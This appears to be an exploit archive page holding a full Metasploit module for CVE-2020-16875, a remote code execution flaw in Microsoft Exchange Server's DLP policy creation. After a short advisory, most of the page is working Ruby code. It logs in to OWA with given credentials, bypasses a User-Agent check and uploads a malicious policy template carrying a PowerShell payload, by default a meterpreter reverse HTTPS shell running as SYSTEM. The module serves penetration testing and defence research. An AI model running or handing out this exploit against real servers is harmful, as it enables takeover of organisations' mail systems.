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Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution

Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution
Posted Sep 17, 2020
Authored by mr_me, wvu | Site metasploit.com

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the "Data Loss Prevention" role assigned and an active mailbox. If the user is in the "Compliance Management" or greater "Organization Management" role groups, then they have the "Data Loss Prevention" role. Since the user who installed Exchange is in the "Organization Management" role group, they transitively have the "Data Loss Prevention" role. The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Tested against Exchange Server 2016 CU14 on Windows Server 2016.

tags | exploit, remote, arbitrary
systems | windows
advisories | CVE-2020-16875
SHA-256 | 9c64ade1b9672eb090b36bc174f9f1a9a315ff2f06c304a01bbbea3b70e0d409

Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the "Data Loss Prevention" role assigned and an active
mailbox.

If the user is in the "Compliance Management" or greater "Organization
Management" role groups, then they have the "Data Loss Prevention"
role. Since the user who installed Exchange is in the "Organization
Management" role group, they transitively have the "Data Loss
Prevention" role.

The specific flaw exists within the processing of the New-DlpPolicy
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
SYSTEM.

Tested against Exchange Server 2016 CU14 on Windows Server 2016.
},
'Author' => [
'mr_me', # Discovery, exploits, and most of the words above
'wvu' # Module
],
'References' => [
['CVE', '2020-16875'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
],
'DisclosureDate' => '2020-09-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Exchange Server 2016 and 2019 w/o KB4577352', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
'HttpClientTimeout' => 5,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
CONFIG_CHANGES, # Creates a new DLP policy
ARTIFACTS_ON_DISK # Uses a DLP policy template file
]
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [false, 'OWA username']),
OptString.new('PASSWORD', [false, 'OWA password'])
])
end

def post_auth?
true
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

unless res.code == 200 && res.body.include?('<title>Outlook</title>')
return CheckCode::Unknown('Target does not appear to be running OWA.')
end

CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
end

def exploit
owa_login
create_dlp_policy(retrieve_viewstate)
end

def owa_login
unless username && password
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
end

print_status("Logging in to OWA with creds #{username}:#{password}")

res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
'vars_post' => {
'username' => username,
'password' => password,
'flags' => '',
'destination' => full_uri('/owa/', vhost_uri: true)
},
'keep_cookies' => true
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth

unless res
fail_with(Failure::Unreachable, 'Failed to access OWA login page')
end

unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
if res.body.include?('There are too many active sessions connected to this mailbox.')
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
end

fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
end

if res.body.include?('Choose your preferred display language and home time zone below.')
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
end

print_good('Successfully logged in to OWA')
end

def retrieve_viewstate
print_status('Retrieving ViewState from DLP policy creation page')

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'keep_cookies' => true
)

unless res
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
end

unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
end

print_good('Successfully retrieved ViewState')
viewstate
end

def create_dlp_policy(viewstate)
print_status('Creating custom DLP policy from malicious template')
vprint_status("DLP policy name: #{dlp_policy_name}")

form_data = Rex::MIME::Message.new
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
form_data.add_part(
'ResultPanePlaceHolder_ButtonsPanel_btnNext',
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
)
form_data.add_part(
dlp_policy_name,
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
)
form_data.add_part(
dlp_policy_template,
'text/xml',
nil,
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
)

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
}, 0)
end

def dlp_policy_template
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>Metasploit</publisherName>
<name>
<localizedString lang="en">#{dlp_policy_name}</localizedString>
</name>
<description>
<localizedString lang="en">wvu was here</localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>
XML
end

def dlp_policy_name
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
end

def dlp_policy_filename
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
end

end
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